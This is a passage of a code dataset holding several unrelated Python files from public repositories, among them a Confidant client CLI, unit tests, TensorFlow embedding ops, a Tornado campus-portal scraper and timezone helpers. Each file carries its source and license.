args.service,\n args.decrypt_blind\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'create_blind_credential':\n contexts = {}\n if args.group_context:\n for region in args.blind_keys:\n contexts[region] = args.group_context\n else:\n contexts = args.blind_contexts\n try:\n ret = client.create_blind_credential(\n args.blind_keys,\n contexts,\n args.name,\n args.credential_pairs,\n args.metadata,\n args.cipher_type,\n args.cipher_version,\n args.store_keys,\n args.enabled,\n args.documentation\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'update_blind_credential':\n contexts = {}\n if args.group_context:\n for region in args.blind_keys:\n contexts[region] = args.group_context\n elif args.blind_contexts:\n contexts = args.blind_contexts\n else:\n contexts = None\n try:\n ret = client.update_blind_credential(\n args._id,\n args.blind_keys,\n contexts,\n args.name,\n args.credential_pairs,\n args.metadata,\n args.cipher_type,\n args.cipher_version,\n args.store_keys,\n args.enabled,\n args.documentation\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_blind_credential':\n try:\n ret = client.get_blind_credential(args._id, args.decrypt_blind)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'list_blind_credentials':\n try:\n ret = client.list_blind_credentials()\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'revert_credential':\n try:\n ret = client.revert_credential(args._id, args.revision)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'revert_blind_credential':\n try:\n ret = client.revert_blind_credential(args._id, args.revision)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'revert_service':\n try:\n ret = client.revert_service(args._id, args.revision)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_certificate':\n try:\n ret = client.get_certificate(\n args.ca,\n args.cn,\n args.san,\n args.validity,\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_certificate_from_csr':\n try:\n ret = client.get_certificate_from_csr(\n args.ca,\n args.csr_file,\n args.validity,\n )\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'get_ca':\n try:\n ret = client.get_ca(args.ca)\n except Exception:\n logging.exception('An unexpected general error occurred.')\n elif args.subcommand == 'list_cas':\n try:\n ret = client.list_cas()\n except Exception:\n logging.exception('An unexpected general error occurred.')\n\n print(json.dumps(ret, sort_keys=True, indent=4, separators=(',', ': ')))\n if not ret['result']:\n sys.exit(1)\n\n\n# http://stackoverflow.com/questions/20094215\nclass _HelpAction(argparse._HelpAction):\n\n def __call__(self, parser, namespace, values, option_string=None):\n parser.print_help()\n print('')\n\n # retrieve subparsers from parser\n subparsers_actions = [\n action for action in parser._actions\n if isinstance(action, argparse._SubParsersAction)]\n for subparsers_action in subparsers_actions:\n # get all subparsers and print help\n for choice, subparser in subparsers_action.choices.items():\n print('Subcommand \\'{0}\\':'.format(choice))\n subparser.print_help()\n\n print(\n 'example: confidant get_service -u'\n ' \"https://confidant-production.example.com\" -k'\n ' \"alias/authnz-production\" --from myservice-production'\n ' --to confidant-production --user_type service'\n ' --region us-west-2 --service myservice-production'\n )\n\n parser.exit()\n\n\nif __name__ == '__main__':\n main()\n", "source": "lyft/python-confidant-client", "license": "Apache-2.0"} {"text": "import unittest\nfrom user import User\n\nclass UserTest(unittest.TestCase):\n \n def setUp(self):\n '''\n Set up method to run before each test cases.\n '''\n\n self.new_user = User('Paul','Mburu','paulmburu08@gmail.com','python34562')\n\n def tearDown(self):\n '''\n tearDown method that does clean up after each test case has run.\n '''\n\n User.login_details = []\n\n def test_init(self):\n '''\n test_init test case to test if the object is initialized properly\n '''\n self.assertEqual(self.new_user.first_name,'Paul')\n self.assertEqual(self.new_user.last_name,'Mburu')\n self.assertEqual(self.new_user.email,'paulmburu08@gmail.com')\n self.assertEqual(self.new_user.password,'python34562')\n\n def test_save_account(self):\n '''\n test_save_account test case to test if the new_user object is saved into\n the login_details\n '''\n\n self.new_user.save_account()\n self.assertEqual(len(User.login_details),1)\n\n def test_delete_account(self):\n '''\n test_delete_contact to test if we can remove an account from our login_details\n '''\n\n self.new_user.save_account()\n self.new_user.delete_account()\n\n self.assertEqual(len(User.login_details),0)\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "paulmburu08/Lockpass", "license": "MIT"} {"text": "import json\nimport csv\n\nwith open(\"zoopla.js\") as file:\n data = json.load(file)\n\nwith open(\"zoopla.csv\", \"w\") as file:\n csv_file = csv.writer(file)\n for item in data['listing']:\n csv_file.writerow([item['longitude'], item['latitude'], item['displayable_address'], item['listing_status'],\n item['price']\n ])\n #csv_file.writerow([item['longitude'], item['latitude']] + item['fields'].values())\n", "source": "lewiscowper/schoolmapper", "license": "MIT"} {"text": "# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"DynamicEmbedding related ops.\"\"\"\n\nimport typing\n\nfrom research.carls import context\nfrom research.carls import dynamic_embedding_config_pb2 as de_config_pb2\nfrom research.carls.kernels import gen_carls_ops\nimport tensorflow as tf\n\n\nclass DynamicEmbeddingLookup(tf.keras.layers.Layer):\n \"\"\"A Keras Layer for Dynamic Embedding Lookup.\n\n This is useful when the gradient descent update is required for embedding\n lookup. The input of this layer is a `Tensor` of string keys and it outputs\n the embedding output as a float `Tensor`.\n\n \"\"\"\n\n def __init__(self,\n config: de_config_pb2.DynamicEmbeddingConfig,\n var_name: typing.Text,\n service_address: typing.Text = \"\",\n timeout_ms: int = -1):\n \"\"\"Constructor for DynamicEmbeddingLookup.\n\n Args:\n config: A DynamicEmbeddingConfig proto that configures the embedding.\n var_name: A unique name for the given embedding.\n service_address: The address of a knowledge bank service. If empty, the\n value passed from --kbs_address (defined in\n .../carls/dynamic_embedding_manager.cc) flag will be used instead.\n timeout_ms: Timeout millseconds for the connection. If negative, never\n timout.\n\n Raises:\n ValueError: if var_name is `None` or empty.\n \"\"\"\n super(DynamicEmbeddingLookup, self).__init__()\n if not var_name:\n raise ValueError(\"Must specify a non-empty var_name.\")\n\n self.embedding_dimension = config.embedding_dimension\n context.add_to_collection(var_name, config)\n self.resource = gen_carls_ops.dynamic_embedding_manager_resource(\n config.SerializeToString(), var_name, service_address, timeout_ms)\n\n def build(self, input_shape):\n del input_shape # Not used.\n # Creates a placeholder variable for the dynamic_embedding_lookup() such\n # that the gradients can be passed into _dynamic_embedding_lookup_grad().\n self.grad_placeholder = self.add_weight(\n name=\"grad_placeholder\",\n shape=[1],\n dtype=tf.float32,\n trainable=True,\n initializer=tf.keras.initializers.zeros)\n\n def call(self, keys):\n return gen_carls_ops.dynamic_embedding_lookup(keys, self.grad_placeholder,\n self.resource,\n self.embedding_dimension)\n\n\ndef dynamic_embedding_lookup(keys: tf.Tensor,\n config: de_config_pb2.DynamicEmbeddingConfig,\n var_name: typing.Text,\n service_address: typing.Text = \"\",\n skip_gradient_update: bool = False,\n timeout_ms: int = -1) -> tf.Tensor:\n \"\"\"Returns the embeddings of from given keys.\n\n Args:\n keys: A string `Tensor` of shape [batch_size] or [batch_size,\n max_sequence_length] where an empty string would be mapped to an all zero\n embedding.\n config: A DynamicEmbeddingConfig proto that configures the embedding.\n var_name: A unique name for the given embedding.\n service_address: The address of a knowledge bank service. If empty, the\n value passed from --kbs_address flag will be used instead.\n skip_gradient_update: A boolean indicating if gradient update is needed.\n timeout_ms: Timeout millseconds for the connection. If negative, never\n timout.\n\n Returns:\n A `Tensor` of shape with one of below:\n - [batch_size, config.embedding_dimension] if the input Tensor is 1D, or\n - [batch_size, max_sequence_length, config.embedding_dimension] if the\n input is 2D.\n Raises:\n ValueError: If name is not specified.\n \"\"\"\n if not var_name:\n raise ValueError(\"Must specify a valid var_name.\")\n\n # If skip_gradient_update is true, reate a dummy variable so that the\n # gradients can be passed in.\n if skip_gradient_update:\n grad_placeholder = tf.constant(0.0)\n else:\n grad_placeholder = tf.Variable(0.0)\n\n context.add_to_collection(var_name, config)\n resource = gen_carls_ops.dynamic_embedding_manager_resource(\n config.SerializeToString(), var_name, service_address, timeout_ms)\n\n return gen_carls_ops.dynamic_embedding_lookup(keys, grad_placeholder,\n resource,\n config.embedding_dimension)\n\n\ndef dynamic_embedding_update(keys: tf.Tensor,\n values: tf.Tensor,\n config: de_config_pb2.DynamicEmbeddingConfig,\n var_name: typing.Text,\n service_address: typing.Text = \"\",\n timeout_ms: int = -1):\n \"\"\"Updates the embeddings of given keys with given values.\n\n Args:\n keys: A string `Tensor` of shape [batch] or [batch_size,\n max_sequence_length].\n values: A `Tensor` of shape [batch_size, embedding_dimension] or\n [batch_size, max_sequence_length, embedding_dimension].\n config: A DynamicEmbeddingConfig proto that configures the embedding.\n var_name: A unique name for the given embedding.\n service_address: The address of a dynamic embedding service. If empty, the\n value passed from --kbs_address flag will be used instead.\n timeout_ms: Timeout millseconds for the connection. If negative, never\n timout.\n\n Returns:\n A `Tensor` of shape with one of below:\n - [batch_size, config.embedding_dimension] if the input Tensor is 1D, or\n - [batch_size, max_sequence_length, config.embedding_dimension] if the\n input is 2D.\n Raises:\n TypeError: If var_name is not specified.\n \"\"\"\n if not var_name:\n raise TypeError(\"Must specify a valid var_name.\")\n\n context.add_to_collection(var_name, config)\n resource = gen_carls_ops.dynamic_embedding_manager_resource(\n config.SerializeToString(), var_name, service_address, timeout_ms)\n\n return gen_carls_ops.dynamic_embedding_update(keys, values, resource,\n config.embedding_dimension)\n\n\n@tf.RegisterGradient(\"DynamicEmbeddingLookup\")\ndef _dynamic_embedding_lookup_grad(op, grad):\n \"\"\"The gradient for DynamicEmbeddingLookup.\n\n Args:\n op: The gen_de_op.dynamic_embedding_lookup() op.\n grad: The tensor representing the gradient w.r.t. the output of the\n gen_de_op.dynamic_embedding_lookup() op.\n\n Returns:\n The gradients w.r.t. the input of the gen_de_op.dynamic_embedding_lookup()\n op.\n \"\"\"\n grad = tf.reshape(grad, [-1, grad.shape[-1]])\n return gen_carls_ops.dynamic_embedding_lookup_grad(\n op.inputs[0], # keys\n grad,\n op.inputs[2] # resource\n )\n", "source": "srihari-humbarwadi/neural-structured-learning", "license": "Apache-2.0"} {"text": "import os\n\nimport pytest\n\nimport nucleus\nfrom tests.helpers import TEST_DATASET_ITEMS, TEST_DATASET_NAME\n\nassert \"NUCLEUS_PYTEST_API_KEY\" in os.environ, (\n \"You must set the 'NUCLEUS_PYTEST_API_KEY' environment variable to a valid \"\n \"Nucleus API key to run the test suite\"\n)\n\nAPI_KEY = os.environ[\"NUCLEUS_PYTEST_API_KEY\"]\n\n\n@pytest.fixture(scope=\"session\")\ndef CLIENT():\n client = nucleus.NucleusClient(API_KEY)\n return client\n\n\n@pytest.fixture()\ndef dataset(CLIENT):\n ds = CLIENT.create_dataset(TEST_DATASET_NAME)\n ds.append(TEST_DATASET_ITEMS)\n yield ds\n\n CLIENT.delete_dataset(ds.id)\n\n\nif __name__ == \"__main__\":\n client = nucleus.NucleusClient(API_KEY)\n # ds = client.create_dataset(\"Test Dataset With Autotags\")\n # ds.append(TEST_DATASET_ITEMS)\n ds = client.get_dataset(\"ds_c5jwptkgfsqg0cs503z0\")\n job = ds.create_image_index()\n job.sleep_until_complete()\n print(ds.id)\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\r\n# @Date : 2016-02-21 15:43:36\r\n# @Author : jerry.liangj@qq.com\r\n\r\nimport base64\r\nimport json\r\nimport urllib\r\nfrom sgmllib import SGMLParser\r\nfrom time import time\r\n\r\nimport tornado.gen\r\nimport tornado.web\r\nfrom sqlalchemy.orm.exc import NoResultFound\r\nfrom tornado.httpclient import HTTPRequest, AsyncHTTPClient,HTTPError\r\n\r\nfrom config import loginurl1,runurl\r\nfrom mod.models.mysql.pe_models import PeDetailCache\r\n\r\n\r\nclass RunningParser(SGMLParser):\r\n def __init__(self):\r\n SGMLParser.__init__(self)\r\n \r\n def getRunningTable(self, text):\r\n self.table = []\r\n self.row = []\r\n self.flag = 0\r\n self.form = 0\r\n # _cookies = cookies\r\n # _url = 'http://zccx.seu.edu.cn/SportWeb/gym/gymExercise/gymExercise_query_result_2.jsp?xh=%s'%(card_id)\r\n self.feed(text)\r\n\r\n def start_form(self, attrs):\r\n self.form += 1\r\n\r\n def end_form(self):\r\n self.form -= 1\r\n msg = {}\r\n msg['sign_date'] = self.row[3]\r\n msg['sign_time'] = self.row[4]\r\n msg['sign_effect'] = self.row[6]\r\n self.table.append(msg)\r\n self.row = []\r\n\r\n\r\n def start_td(self, attrs):\r\n self.flag += 1\r\n\r\n def end_td(self):\r\n self.flag -= 1\r\n\r\n def handle_data(self, text):\r\n if self.flag == 3 and self.form == 1:\r\n self.row.append(text)\r\n\r\n\r\nclass pedetailHandler(tornado.web.RequestHandler):\r\n\t@property\r\n\tdef db(self):\r\n\t\treturn self.application.db\r\n\tdef on_finish(self):\r\n\t\tself.db.close()\r\n\tdef get(self):\r\n\t\tself.write('Herald Web Service')\r\n\r\n\t@tornado.web.asynchronous\r\n\t@tornado.gen.engine\r\n\tdef post(self):\r\n\t\tretjson = {'code':200,'content':''}\r\n\t\tcardnum = self.get_argument('cardnum',default=None)\r\n\t\tpassword = self.get_argument('password',default=None)\r\n\t\tstatus = None\r\n\t\tif not (cardnum and password):\r\n\t\t\tretjson['code'] = 400\r\n\t\t\tretjson['content'] = 'params lack'\r\n\t\telse:\r\n\t\t\t# read from cache\r\n\t\t\ttry:\r\n\t\t\t\tstatus = self.db.query(PeDetailCache).filter(PeDetailCache.cardnum == cardnum).one()\r\n\t\t\t\tif status.date > int(time())-10000 and status.text != '*':\r\n\t\t\t\t\tself.write(base64.b64decode(status.text))\r\n\t\t\t\t\tself.finish()\r\n\t\t\t\t\treturn\r\n\t\t\texcept NoResultFound:\r\n\t\t\t\tstatus = PeDetailCache(cardnum = cardnum,text = '*',date = int(time()))\r\n\t\t\t\tself.db.add(status)\r\n\t\t\t\ttry:\r\n\t\t\t\t\tself.db.commit()\r\n\t\t\t\texcept:\r\n\t\t\t\t\tself.db.rollback()\r\n\r\n\t\t\ttry:\r\n\t\t\t\tclient = AsyncHTTPClient()\r\n\t\t\t\tdata = {\r\n\t\t\t\t\t\"Login.Token1\" : cardnum,\r\n\t\t\t\t\t\"Login.Token2\" : password,\r\n\t\t\t\t\t'goto' : \"http://mynew.seu.edu.cn/loginSuccess.portal\",\r\n\t\t\t\t\t'gotoOnFail' : \"http://mynew.seu.edu.cn/loginFailure.portal\"\r\n\t\t\t\t}\r\n\t\t\t\tdata1 = {\r\n\t\t\t\t\t'IDToken0': '',\r\n\t\t\t\t\t'IDToken1':cardnum,\r\n\t\t\t\t\t'IDToken2':password,\r\n\t\t\t\t\t'IDButton':'Submit',\r\n\t\t\t\t\t'goto':'http://zccx.seu.edu.cn/',\r\n\t\t\t\t\t'gx_charset':'gb2312'\r\n\t\t\t\t}\r\n\r\n\t\t\t\tcookie1 = ''\r\n\t\t\t\trequest = HTTPRequest(\r\n\t\t\t\t\tloginurl1,\r\n\t\t\t\t\tmethod='POST',\r\n\t\t\t\t\tbody = urllib.urlencode(data1),\r\n\t\t\t\t\tfollow_redirects=False\r\n\t\t\t\t)\r\n\t\t\t\tinitcookie = ''\r\n\t\t\t\ttry:\r\n\t\t\t\t\tresponse = yield client.fetch(request)\r\n\t\t\t\texcept HTTPError as e:\r\n\t\t\t\t\tinitcookie = e.response.headers['Set-Cookie']\r\n\t\t\t\tinit_cookie1 = initcookie.split(';')[4].split(',')[1]#+initcookie.split(';')[0]\r\n\t\t\t\theader = {\r\n\t\t\t\t\t'Host':'zccx.seu.edu.cn',\r\n\t\t\t\t\t'Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\r\n\t\t\t\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',\r\n\t\t\t\t\t'Referer':'http://zccx.seu.edu.cn/',\r\n\t\t\t\t\t'Connection':'Keep-alive',\r\n\t\t\t\t\t'Accept-Encoding': 'gzip, deflate',\r\n\t\t\t\t\t'Accept-Language': 'zh-CN,zh;q=0.8',\r\n\t\t\t\t\t'Cookie':init_cookie1+';'+cookie1+';'+';amblcookie=02'\r\n\t\t\t\t}\r\n\t\t\t\trequest = HTTPRequest(\r\n\t\t\t\t\trunurl,\r\n\t\t\t\t\tmethod='GET',\r\n\t\t\t\t\theaders = header\r\n\t\t\t\t)\r\n\t\t\t\t\r\n\t\t\t\tresponse = yield client.fetch(request)\r\n\t\t\t\tcookie1 = response.headers['Set-Cookie']\r\n\t\t\t\theader['Cookie'] = init_cookie1+';'+cookie1+';'+';amblcookie=02' \r\n\t\t\t\tgetpeurl = \"http://zccx.seu.edu.cn/SportWeb/gym/gymExercise/gymExercise_query_result_2.jsp?xh=%s\"%(cardnum)\r\n\t\t\t\trequest = HTTPRequest(\r\n\t\t\t\t getpeurl,\r\n\t\t\t\t headers = header,\r\n\t\t\t\t request_timeout=8\r\n\t\t\t\t )\r\n\t\t\t\tresponse = yield client.fetch(request)\r\n\t\t\t\tspider = RunningParser()\r\n\t\t\t\tspider.getRunningTable(response.body)\r\n\t\t\t\tretjson['content'] = spider.table\r\n\t\t\texcept HTTPError as e:\r\n\t\t\t\tretjson['code'] = 500\r\n\t\t\t\tretjson['content'] = str(e)\r\n\t\tret = json.dumps(retjson, ensure_ascii=False, indent=2)\r\n\t\tself.write(ret)\r\n\t\tself.finish()\r\n\r\n\t\t# refresh cache\r\n\t\tif retjson['code'] == 200:\r\n\t\t\tstatus.date = int(time())\r\n\t\t\tstatus.text = base64.b64encode(ret)\r\n\t\t\tself.db.add(status)\r\n\t\t\ttry:\r\n\t\t\t\tself.db.commit()\r\n\t\t\texcept Exception,e:\r\n\t\t\t\tself.db.rollback()\r\n\t\t\tfinally:\r\n\t\t\t\tself.db.remove()", "source": "HeraldStudio/HeraldWebservice", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# pyre-strict\n\"\"\"Test driver for the fanout service.\n\nThe fanout service answers the question \"given these changed symbols, which\nfiles need to be re-typechecked\"?\n\nThe test driver verifies that the list of files to re-typecheck is the expected\nlist.\n\nTODO: Additionally, we perform the sanity check that the list of typechecking\nerrors produced from a full typecheck is the same as for an incremental\ntypecheck.\n\"\"\"\nimport argparse\nimport glob\nimport json\nimport os\nimport os.path\nimport pprint\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nfrom dataclasses import dataclass\nfrom typing import Dict, List, Optional, cast\n\n\nPath = str\n\n\ndef log(message: str) -> None:\n sys.stderr.write(message)\n sys.stderr.write(\"\\n\")\n\n\ndef copy(source: Path, dest: Path) -> None:\n log(f\"Copying {source} to {dest}\")\n shutil.copy(source, dest)\n\n\ndef exec(args: List[str]) -> str:\n log(f\"Running: {' '.join(args)}\")\n result = subprocess.check_output(args)\n return result.decode()\n\n\n@dataclass\nclass Env:\n root_dir: Path\n hh_fanout_path: Path\n hh_server_path: Path\n\n\n@dataclass\nclass SavedStateInfo:\n dep_table_path: Path\n naming_table_path: Path\n\n\ndef generate_saved_state(env: Env, target_dir: Path) -> SavedStateInfo:\n saved_state_path = os.path.join(target_dir, \"saved_state\")\n subprocess.check_call(\n [env.hh_server_path, env.root_dir, \"--save-state\", saved_state_path],\n # Don't include the \"No errors!\" output in the test output.\n stdout=sys.stderr,\n )\n return SavedStateInfo(\n dep_table_path=saved_state_path + \".sql\", naming_table_path=saved_state_path\n )\n\n\ndef relativize_path(env: Env, path: str) -> str:\n \"\"\"Convert an absolute path into a relative path for consistent test output.\"\"\"\n return os.path.relpath(path, env.root_dir)\n\n\ndef run_hh_fanout(\n env: Env,\n saved_state_info: SavedStateInfo,\n changed_files: List[Path],\n args: List[str],\n cursor: Optional[str],\n) -> Dict[str, object]:\n common_args = []\n common_args.extend((\"--from\", \"integration-test\"))\n common_args.extend((\"--root\", env.root_dir))\n common_args.extend((\"--verbosity\", \"high\"))\n common_args.extend((\"--naming-table-path\", saved_state_info.naming_table_path))\n common_args.extend((\"--dep-table-path\", saved_state_info.dep_table_path))\n common_args.extend((\"--state-path\", os.path.join(env.root_dir, \"hh_fanout_state\")))\n for changed_file in changed_files:\n common_args.extend((\"--changed-file\", changed_file))\n\n hh_fanout_args = list(common_args)\n if cursor is not None:\n hh_fanout_args.extend([\"--cursor\", cursor])\n result = exec([env.hh_fanout_path, \"calculate\", *hh_fanout_args, *args])\n result = json.loads(result)\n\n # Also include the debug output for when the test cases fail and need to be\n # debugged.\n debug_result = exec([env.hh_fanout_path, \"debug\", *common_args, *args])\n debug_result = json.loads(debug_result)\n result[\"debug\"] = debug_result[\"debug\"]\n\n return result\n\n\ndef sanitize_hh_fanout_result(env: Env, result: Dict[str, object]) -> None:\n result[\"files\"] = [\n relativize_path(env, path) for path in cast(List[str], result[\"files\"])\n ]\n\n debug_result = cast(Dict[str, object], result[\"debug\"])\n relevant_dep_edges = cast(List[Dict[str, str]], debug_result[\"relevant_dep_edges\"])\n for relevant_dep_edge in relevant_dep_edges:\n relevant_dep_edge[\"dependent_path\"] = relativize_path(\n env, relevant_dep_edge[\"dependent_path\"]\n )\n\n cursor = cast(str, result[\"cursor\"])\n delimiter = \",\"\n assert delimiter in cursor\n parts = cursor.split(delimiter)\n parts[-1] = \"\"\n result[\"cursor\"] = delimiter.join(parts)\n\n if \"telemetry\" in result:\n result[\"telemetry\"] = \"\"\n\n\ndef run_test(\n env: Env,\n saved_state_info: SavedStateInfo,\n test_path: Path,\n changed_files: List[Path],\n) -> None:\n result = run_hh_fanout(\n env=env,\n saved_state_info=saved_state_info,\n changed_files=changed_files,\n args=[test_path],\n cursor=None,\n )\n sanitize_hh_fanout_result(env, result)\n pprint.pprint(result)\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"test_path\", type=os.path.abspath)\n parser.add_argument(\"--hh-fanout\", type=os.path.abspath)\n parser.add_argument(\"--hh-server\", type=os.path.abspath)\n\n args = parser.parse_args()\n with tempfile.TemporaryDirectory() as work_dir:\n test_path = os.path.join(work_dir, os.path.relpath(args.test_path, os.getcwd()))\n with open(os.path.join(work_dir, \".hhconfig\"), \"w\") as f:\n f.write(\"\")\n for source_file in glob.glob(\n os.path.join(os.path.dirname(args.test_path), \"*.php\")\n ):\n copy(source_file, work_dir)\n\n env = Env(\n root_dir=work_dir,\n hh_fanout_path=args.hh_fanout,\n hh_server_path=args.hh_server,\n )\n saved_state_info = generate_saved_state(env, work_dir)\n\n i = 0\n while True:\n i += 1\n new_files = glob.glob(\n os.path.join(os.path.dirname(args.test_path), f\"*.new{i}\")\n )\n if not new_files and i > 1:\n break\n\n changed_files = []\n for source_file in new_files:\n source_file = os.path.relpath(source_file, os.getcwd())\n (target_filename, _) = os.path.splitext(source_file)\n target_path = os.path.join(work_dir, target_filename)\n changed_files.append(target_path)\n copy(source_file, target_path)\n\n print(f\"Change set #{i}\")\n run_test(\n env=env,\n saved_state_info=saved_state_info,\n test_path=test_path,\n changed_files=changed_files,\n )\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "tahmidbintaslim/hhvm", "license": "PHP-3.01"} {"text": "from banyan.api.base import ServiceBase\nfrom banyan.model.policy import PolicyInfoOrName, PolicyAttachInfo\nfrom banyan.model.service import ServiceInfo, Service, ServiceInfoOrName\n\n\nclass ServiceAPI(ServiceBase):\n class Meta:\n data_class = Service\n info_class = ServiceInfo\n arg_type = ServiceInfoOrName\n list_uri = '/registered_services'\n delete_uri = '/delete_registered_service'\n insert_uri = '/insert_registered_service'\n uri_param = 'ServiceID'\n obj_name = 'service'\n\n def enable(self, service: ServiceInfoOrName) -> str:\n service = self.find(service)\n json_response = self._client.api_request('POST',\n '/enable_registered_service',\n params={'ServiceID': service.id})\n return json_response['Message']\n\n def disable(self, service: ServiceInfoOrName) -> str:\n service = self.find(service)\n json_response = self._client.api_request('POST',\n '/disable_registered_service',\n params={'ServiceID': service.id})\n return json_response['Message']\n\n def attach(self, service: ServiceInfoOrName, policy: PolicyInfoOrName, enforcing: bool) -> PolicyAttachInfo:\n from banyan.api.policy import PolicyAPI\n return PolicyAPI(self._client).attach(policy, service, enforcing)\n\n def detach(self, service: ServiceInfoOrName, policy: PolicyInfoOrName) -> str:\n from banyan.api.policy import PolicyAPI\n return PolicyAPI(self._client).detach(policy, service)\n\n def test(self, service: ServiceInfoOrName) -> None:\n pass\n", "source": "rb-nr/pybanyan", "license": "Apache-2.0"} {"text": "\"\"\"\nThis module is a version of collections consistent in both python 2 and 3.\n\nIt is only made of re-exports from builtin modules, with one exception. Unlike\nthe builtin UserDict, the one in this module derives from dict, which means that\nexisting code using `isintance(obj, dict)` won't break.\n\"\"\"\n\nfrom collections import *\n\nfrom .six import PY3\n\nif PY3:\n class UserDict(UserDict, dict): pass\nelse:\n import UserDict as _UserDict\n class UserDict(_UserDict.DictMixin, dict):\n __contains__ = dict.__contains__\n __iter__ = dict.__iter__\n from UserList import *\n from UserString import *\n", "source": "Changaco/python-miss", "license": "CC0-1.0"} {"text": "from __future__ import unicode_literals\n\nimport datetime\n\nfrom dateutil.parser import parse\nfrom django.utils.six import string_types\nfrom django.utils.timezone import pytz\n\n\ndef now_by_tz(tz='US/Central', ignoretz=True):\n \"\"\"Gets the current datetime object by timezone.\n\n :param tz: is the timezone to get the date for. tz can be passed as a\n string or as a timezone object. (i.e. 'US/Central' or\n pytz.timezone('US/Central'), etc)\n :param ignoretz: will ignore the timezone portion of the datetime object and\n tzinfo will be None.\n :return: the current datetime object by tz\n\n Examples:\n\n >>> now_by_tz('US/Pacific')\n 2011-09-28 10:06:01.130025\n >>> now_by_tz('US/Pacific', False)\n 2011-09-28 10:06:01.130025-07:00\n >>> now_by_tz(pytz.timezone('US/Central'))\n 2011-09-28 12:06:01.130025\n >>> now_by_tz(pytz.timezone('US/Central'), False)\n 2011-09-28 12:06:01.130025-05:00\n\n \"\"\"\n if isinstance(tz, string_types):\n tz = pytz.timezone(tz)\n\n if ignoretz:\n return datetime.datetime.now(tz).replace(tzinfo=None)\n return datetime.datetime.now(tz)\n\n\ndef tz_to_utc(dt, tz, ignoretz=True):\n \"\"\"Converts a datetime object from the specified timezone to a UTC datetime.\n\n :param tz: the timezone the datetime is currently in. tz can be passed\n as a string or as a timezone object. (i.e. 'US/Central' or\n pytz.timezone('US/Central'), etc)\n :param ignoretz: will ignore the timezone portion of the datetime object and\n tzinfo will be None.\n :return: the datetime object by in UTC time.\n\n Examples:\n\n >>> tz_to_utc(datetime.datetime(2011, 11, 25, 9), 'US/Central')\n 2011-11-25 15:00:00\n >>> tz_to_utc(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central'))\n 2011-11-25 15:00:00\n >>> tz_to_utc(datetime.datetime(2011, 11, 25, 9), 'US/Central', False)\n 2011-11-25 15:00:00+00:00\n\n \"\"\"\n if isinstance(tz, string_types):\n tz = pytz.timezone(tz)\n\n dt = tz.localize(dt)\n dt = datetime.datetime.astimezone(dt, pytz.timezone('UTC'))\n\n if ignoretz:\n return dt.replace(tzinfo=None)\n return dt\n\n\ndef utc_to_tz(dt, tz, ignoretz=True):\n \"\"\" Converts UTC datetime object to the specific timezone.\n\n :param dt: the UTC datetime object to convert.\n :param tz: the timezone to convert the UTC datetime object info. tz can be\n passed as a string or as a timezone object. (i.e. 'US/Central' or\n pytz.timezone('US/Central'), etc)\n :param ignoretz: will ignore the timezone portion of the datetime object and\n tzinfo will be None.\n :return: the datetime object by in UTC time.\n\n Examples:\n\n >>> utc_to_tz(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central'))\n 2011-11-25 03:00:00\n >>> utc_to_tz(datetime.datetime(2011, 11, 25, 9), 'US/Central', False)\n 2011-11-25 03:00:00-06:00\n\n \"\"\"\n if isinstance(tz, string_types):\n tz = pytz.timezone(tz)\n\n dt = pytz.utc.localize(dt)\n dt = dt.astimezone(tz)\n\n if ignoretz:\n return dt.replace(tzinfo=None)\n return dt\n\n\ndef parse_date(dt, ignoretz=True, as_tz=None):\n \"\"\"\n :param dt: string datetime to convert into datetime object.\n :return: date object if the string can be parsed into a date. Otherwise,\n return None.\n\n :see: http://labix.org/python-dateutil\n\n Examples:\n\n >>> parse_date('2011-12-30')\n 2011-12-30\n >>> parse_date('12/30/2011')\n 2011-12-30\n\n \"\"\"\n dttm = parse_datetime(dt, ignoretz=ignoretz)\n return None if dttm is None else dttm.date()\n\n\ndef parse_datetime(dt, ignoretz=True, **kwargs):\n \"\"\"\n :param dt: string datetime to convert into datetime object.\n :return: datetime object if the string can be parsed into a datetime.\n Otherwise, return None.\n\n :see: http://labix.org/python-dateutil\n\n Examples:\n\n >>> parse_datetime('2011-12-30 13:45:12 CDT')\n 2011-12-30 13:45:12\n >>> parse_datetime('12/30/2011 13:45:12 CDT')\n 2011-12-30 13:45:12\n >>> parse_datetime('2011-12-30 13:45:12 CDT', ignoretz=False)\n 2011-12-30 13:45:12-06:00\n >>> parse_datetime('12/30/2011 13:45:12 CDT', ignoretz=False)\n 2011-12-30 13:45:12-06:00\n\n \"\"\"\n try:\n return parse(dt, ignoretz=ignoretz, **kwargs)\n except:\n return None\n\n\n\"\"\"\nprint(parse_date('2011-12-30'))\nprint(parse_date('12/30/2011'))\nprint(parse_datetime('hello 